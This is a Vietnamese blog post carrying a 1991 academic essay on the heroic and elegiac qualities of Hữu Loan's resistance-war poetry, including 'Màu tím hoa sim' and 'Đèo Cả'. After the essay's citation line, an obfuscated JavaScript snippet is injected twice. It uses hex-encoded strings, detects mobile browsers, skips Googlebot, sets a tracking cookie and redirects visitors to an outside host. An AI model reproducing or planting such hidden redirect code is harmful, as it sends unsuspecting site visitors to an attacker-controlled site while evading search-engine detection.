Chất bi tráng của dòng thơ kháng chiến qua một gương mặt thơ: Hữu Loan

Tập thơ Màu tím hoa sim cuả Hữu Loan (Nxb Hội nhà văn, 1990) chỉ vẻn vẹn mười bài, hầu hết làm từ 1946 đến 1950, nhưng cũng đủ phác họa chân dung tinh thần một thế hệ anh hùng mà lãng mạn thời kỳ đầu kháng chiến chống Pháp. Những khúc hát hùng tráng cùng với khúc bi ca đau thương hạng nhất của Hữu Loan vẫn còn mãi trong tâm hồn nhiều thế hệ Việt Nam, bởi cái anh hùng cũng như cái bi thương vốn là hai bạn đồng hành trong cuộc trường chinh dài ba mươi năm đẫm máu và nước mắt kề cạnh những chiến công của dân tộc, bởi bên cạnh cái hợp âm cuồn cuộn dâng trào của hào khí chiến tranh cách mạng còn có nốt lặng buồn của mất mát thương đau, bởi trong một con người, không chỉ có “máu thiêng sôi dào dạt”, “súng thèm gươm khát” mà còn có phút giây “thương người vợ chờ bé bỏng chiều quê”… Dầu có lúc người ta phải cố tình nén lại, giấu cái riêng tư, quay đi trước những bi kịch cá nhân, nhưng nó vẫn tồn tại, tạo thành những hòa âm hoàn chỉnh của cuộc sống tinh thần con người trong dòng chảy vĩnh cửu của nó. Nếu không, chẳng thể nào lý giải được sức sống lâu bền của một dân tộc, một thế hệ, thậm chí, một bài thơ.

Những chàng trai vệ quốc ngày ấy, nhất là những chàng trai xuất thân từ tầng lớp tiểu tư sản, đi vào cuộc kháng chiến vĩ đại của dân tộc bằng tất cả dũng khí “trai thời loạn” nhưng vẫn giữ trong mình nét hào hoa của một thế hệ, với nỗi nhớ kinh thành Đây Thăng Long, Hồng Hà, hồ Tây (Nguyễn Đình Thi), với lời thề quyết tử ra đi ra đi bảo tồn sông núi (Phan Huỳnh Điểu), với hùng khí chiến khu Bắc Sơn, núi trong sương mù (Văn Cao), với con người Quân xanh màu lá dữ oai hùm (Quang Dũng).

Cái không khí của cuộc sống gian khổ mà vẫn ung dung trong những ngày đầu kháng chiến in dấu rất rõ trong Đèo Cả (Hữu Loan).

Đèo Cả một địa danh gắn với sa trường, chiến khu, vừa hiểm trở, vừa hùng vĩ: Núi cao ngất, Mây trời Ai Lao,  Sầu Đại dương, Dặm về heo hút, Đá bia mù sương… Bên suối độc, cheo leo, chòi canh. Ngày thâu, vượn hú. Đêm canh, gặp hùm, lang thang…Và những chiến công: Chân Đèo Nam, máu giặc, bao lần nắng khô. Trong cái không khí núi rừng, đèo khe hiểm trở, chiến trận căng thẳng Giặc từ Vũng Rô bắn tới. Gic từ trong tràn ra,  con người tự cảm thấy: Máu thiêng dào dạt. Tự nguồn thiêng ông cha. Cầu xây chiến ngất. Đây hình hài niên hoa. Lời thơ sảng khoái và kiêu dũng: Súng thèm, gươm khát. Ai ngân, lung lay, đêm quê nhà. Những hình ảnh đôi chút sáo mòn xen lẫn những hình ảnh hiện thực của cuộc đời người lính: Rau khe, cơm vắt. Ăn với nhau, bữa heo rừng, chấm muối. Ngủ với nhau, sạp rừng, nứa tối. Biệt nhau, rừng hoang, canh gà.. Sau mỗi lần thắng. Những người lính Đèo Cả. Về bên suối đánh cờ. Người hái cam rừng ăn nheo mắtĐèo Cả thực sự là một khúc tráng ca của dân tộc thời kỳ kháng chiến chống Pháp, bên cạnh Nhớ máu, Tình sông núi (Trần Mai Ninh), Lên Cấm Sơn (Thôi Hữu), Tây Tiến (Quang Dũng)…

Khúc tráng ca ấy có cội nguồn bền vững và sâu xa hơn. Những bài thơ kháng chiến khác của Hữu Loan (Những làng đi qua, Ngày mai, Phương gió, Yên Mô, Hoa Lúa) vắng đi chất hào hùng của Đèo Cả, Qch Xuân Kỳ, nhưng bộc lộ cái dòng chảy tiềm ẩn làm nguồn mạch sức mạnh tinh thần của những chàng trai, những người hùng một thuở, đã đi theo cách mạng đến cùng ấy: tình yêu quê hương, đất nước, lòng căm thù giặc, tình yêu thương con người…

Hình ảnh người lính giết Tây, trên đường hành quân giết giặc, qua rừng sâu, đèo hoang, đồi núi, xóm làng, là hình ảnh tự hào nhất, đẹp nhất của hình mẫu trai thời loạn trong thơ anh:

                                    –Đoàn lính lên đường, nối tiếp nhau
                                    Vang vang kèn lệnh dội bên cầu
                                    Trông theo bụi cuốn vàng lưng ngựa
                                    –Người đi gối súng
                                                                         dài
                                                                                     đêm lạ
                                    –Những chiều hành quân…

Và hình ảnh quê hương, đất nước với những đồi hoa sim, ngõ xóm tím hoa mua, bờ ao, giếng trăng, tháng bảy mưa ngâu, chân trời quê cũ, nhạc quê hương, hội mùa, quê ta, tiếng quê hương, chàng trai quê, mẹ già, em gái quê…đau thương dưới gót giày giặc:
                                    Giặc kéo qua đồng
                                                 giầy đinh
                                                             đi
                                                                trên
                                                                         lúa
                                                                                     khô

là những nỗi niềm day dứt khôn nguôi trong tâm hồn người lính giết Tây trên mỗi bước đường hành quân. Không gian ấy, con người ấy với những hoài niệm, yêu thương, xót xa, đó thực là thế giới tâm hồn của anh. Quê hương, nơi những xóm làng anh đi qua, có mẹ già:

-Mắt mẹ xa vời bóng xám sân
-Từng tay già yếu cầm tay trẻ
                                    Ngỡ đến đây thì ở mãi đây?
                                    -Mẹ già anh khóc
                                    Trai thời loạn ly
                                    Thương con khó nhọc
                                    -Mỗi làng, như làng quê
                                    Người mẹ già, như mẹ
                                    Đến mỗi làng đi
                                    Cánh tay báo cừu
                                    Tiếp thêm sức khỏe
                                    Người lính giết Tây

 Đẹp hơn tất cả, thiết tha hơn hết thảy là tấm lòng của những người con gái quê đối với người lính giết Tây. Cái tâm hồn trong trẻo, đằm thắm, thủy chung, biết yêu thương, biết đợi chờ của quê hương bộc lộ qua hình ảnh những cô gái quê, đặc biệt là đôi mắt:

-Em dịu dàng
Hiền như lúa
– Em hiền như chị
mắt ngời xanh lam
-Mắt lam màu xa vời
– Tình quê ta
trong mắt em xanh thẳm
-Mắt đựng màu lúa quê
-Đôi mắt mang chân trời quê cũ
giếng ngọt
cây đa…

Chàng trai vệ quốc ra đi giết giặc mang trong tâm hồn mình màu mắt ấy (có gì giống nhau chăng, cái điệp khúc lãng mạn này, cũng với màu mắt ấy, trong Đôi mắt người Sơn Tây của Quang Dũng, Đất nước của Nguyễn Đình Thi?).

Cảm hứng về những cuộc hành quân đặt trong cảm hứng về tình quân dân, đặc biệt tình quê hương. Đất nào người lính giết Tây đi qua chả là đất quê. Người dân nào anh gặp chẳng là người quê. Người quê, đất quê lẫn với quê hương vì cũng ở một vùng quê riêng nào đó, anh có người mẹ già, có người vợ trẻ. Màu tím hoa sim dải đồi hoang biền biệt nào chả là màu tím hoa sim từng gợi về hình ảnh người vợ nhỏ bé ngày xưa nàng yêu hoa tím trong bài thơ Màu tím hoa sim, khúc bi ca đứt ruột còn làm rung động bao trái tim người lính. Sức nặng biểu cảm của bài thơ thuộc về sự dồn nén những chi tiết đời sống chân thực, vụt lên từ chính một số phận, một mối tình. Nỗi đau xé lòng của biệt ly, của những mất mát cá nhân không gì bù đắp nổi. Cái rất riêng cũng như cái bi thương hoàn cảnh khiến cho bài thơ như lạc ra khỏi dòng sử thi hùng tráng một thời.

***

Thơ Hữu Loan là khúc ca bi nhiều giọng. Đặc biệt là sự hòa điệu của ngôn ngữ bi ca và tráng ca. Bên cạnh những nhịp điệu, hình ảnh gân guốc, hào hùng làm mê say phấn chấn trái tim bao người thời kỳ ấy, những con người đang tôn thờ hình ảnh kiêu hùng của một Kinh Kha xõa tóc bên dòng sông Dịch thề “một đi không trở về”:

-Tóc râu
trùm
vai rộng
Không nhận ra người cùng làng
-Anh Quách Xuân Kỳ về
cướp
lại
nhân dân
-Bóng cao tóc xù
Trai Quảng Bình
trong quán phở chiến khu
đập bàn tay đèn
quát
xăn
rách
áo
Thằng Ái Lộc Mỹ
bắn!
-Nửa đêm
trăng mọc
đỏ
như cháy  đồn!

là những câu thơ thoáng một nỗi buồn qua hình ảnh những buổi chiều: chiều quê, chiều xuống, chiều tàn, nắng chiều, chiều rừng mưa, chiều hành quân, chiều hoang, dài trong chiều, chiều xám, từng chiều hôm xuống…(dấu vết của những tín hiệu thẩm mỹ thơ lãng mạn?). Âm hưởng buồn, lặng lẽ còn bộc lộ qua những hình ảnh, những so sánh thiên về tốc độ chậm với không gian vắng vẻ, thời gian vô định, sự hữu hạn của một dấu hiệu sự sống: nắng chiều tắt thở, hàng cau úa vàng, tiếng âm rơi tan vỡ, đêm dư hướng về xa thẳm, một bông hoa lìa cành, mồ xưa biếc cỏ vàng, cỏ vàng chân mộ chí, cỏ vàng nắm đất, đường xa gánh nặng ai chờ…

Về nhạc điệu, thơ Hữu Loan sử dụng một nhạc điệu khác thường. Một câu thơ của anh được cắt thành nhiều bậc, mỗi bậc tương ứng một nhịp, một hình ảnh, một cảm xúc. Hiệu quả của lối ngắt câu ấy làm tiết tấu của câu thơ chậm lại, gây cảm giác nặng nhọc, gân guốc, nhưng vì chậm quá nên câu thơ có khi mạnh mẽ nhưng buồn:

-Anh Quách Xuân Kỳ
cắn
đứt
ngón
tay
nhúng que vào máu viết
Kỳ về đây là
đoàn
thể
về
đây.
-Nếu anh ra đi
người vị hôn thê
những giọt nước mắt
đọng
trên
hàng
mi

***

Bên cạnh cái tráng ca không thể xóa nốt bi, bên cạnh cái anh hùng của dân tộc không thể không có cái đau đớn cá nhân, bên cạnh cái tôi-lịch sử vẫn tồn tại cái tôi-cá nhân. Đó là trạng thái hòa hợp vĩnh hằng của chân dung tinh thần con người trong một giai đoạn kháng chiến vô cùng anh dũng và đau thương của đất nước.

Thơ Hữu Loan chính là sự khẳng định sự hòa hợp tất yếu của các yếu tố lịch sử-cá nhân, sử thi-bi kịch, tráng ca-bi ca của cái tôi trữ tình trong đời sống tinh thần con người Việt Nam qua thơ ca kháng chiến.

Lê Lưu Oanh

( bài in trên Thông báo Khoa học, Trường Đại học sư phạm Hà Nội, số 6/1991)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

About leluuoanh

Giáo viên Đại học sư phạm Hà Nội - khoa Ngữ Văn - bộ môn Lý Luận văn học
Bài này đã được đăng trong Bài báo. Đánh dấu đường dẫn tĩnh.